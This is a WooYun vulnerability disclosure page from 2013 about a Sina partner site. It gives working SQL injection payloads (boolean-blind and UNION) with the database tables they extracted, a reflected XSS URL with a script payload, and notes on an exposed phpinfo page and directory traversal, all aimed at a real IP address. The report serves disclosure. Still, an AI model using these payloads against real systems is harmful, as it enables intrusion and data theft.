当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-043074

漏洞标题:新浪某分站多个漏洞(sql注入 信息泄露 跨站等)

相关厂商:新浪

漏洞作者: N1ghtM4re

提交时间:2013-11-16 18:00

修复时间:2013-12-31 18:00

公开时间:2013-12-31 18:00

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-16: 细节已通知厂商并且等待厂商处理中
2013-11-18: 厂商已经确认,细节仅向厂商公开
2013-11-28: 细节向核心白帽子及相关领域专家公开
2013-12-08: 细节向普通白帽子公开
2013-12-18: 细节向实习白帽子公开
2013-12-31: 细节向公众公开

简要描述:

多个漏洞

详细说明:

http://117.79.157.13/
新浪网-摘星工厂(新浪星空)

20131116143630.gif


1#sql注入
http://117.79.157.13:80/cgi-bin/ast_vs_pre
post参数:f_star=1&m_star=1,同时存在注入
Place: POST
Parameter: m_star
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: f_star=1&m_star=1 AND 1081=1081
Type: UNION query
Title: MySQL UNION query (29) - 9 columns
Payload: f_star=1&m_star=-3994 UNION ALL SELECT 29,29,29,29,29,29,29,29,CONCAT(0x71686e7971,0x575a747261704249737a,0x71766b7471)#
Place: POST
Parameter: f_star
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: f_star=1 AND 6720=6720&m_star=1
Type: UNION query
Title: MySQL UNION query (NULL) - 9 columns
Payload: f_star=-2769 UNION ALL SELECT 29,29,29,29,29,29,29,29,CONCAT(0x71686e7971,0x4465694d5370706a4b6d,0x71766b7471)#&m_star=1
---
web application technology: Apache 1.3.41
back-end DBMS: MySQL 4
available databases [1]:
[*] xbdocdb
数据表
web application technology: Apache 1.3.41
back-end DBMS: MySQL 4
Database: xbdocdb
[2 tables]
+---------+
| article |
| product |
+---------+
Database: xbdocdb
Table: product
[6 columns]
+---------+-------------+
| Column | Type |
+---------+-------------+
| class | numeric |
| intro | non-numeric |
| keyword | non-numeric |
| name | non-numeric |
| pid | numeric |
| price | numeric |
+---------+-------------+
由于是mysql4.0,所以注入的内容较少,权限较低。
web application technology: Apache 1.3.41
back-end DBMS: MySQL 4
current user: 'www@192.168.1.4'

漏洞证明:

2#信息泄露
存在phpinfo.php,泄露了web敏感配置文件
http://117.79.157.13/info.php

20131116144530.gif


3#配置错误
没有禁用危险的配置项allow_url_fopen,可能造成php远程包含漏洞

20131116144724.gif


4#目录遍历漏洞

20131116144805.gif


5#反射型xss
http://117.79.157.13/cgi-bin/sn2service?cmd=show_status&msg=No%20such%20action%21%27%22%28%29%26%25%3cScRiPt%20%3Ealert%28/xss/%29%3c%2fScRiPt%3e&pg=0&site=sina&st=1

20131116145353.gif

修复方案:

版权声明:转载请注明来源 N1ghtM4re@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2013-11-18 12:13

厂商回复:

该站点以前是新浪合作站点,现在没有合作关系,正在与其沟通让其撤出新浪相关logo标识,为保证漏洞信息不公开,暂代确认,并邮件通知相应站点管理员!若有疑问,可随时联系,

最新状态:

暂无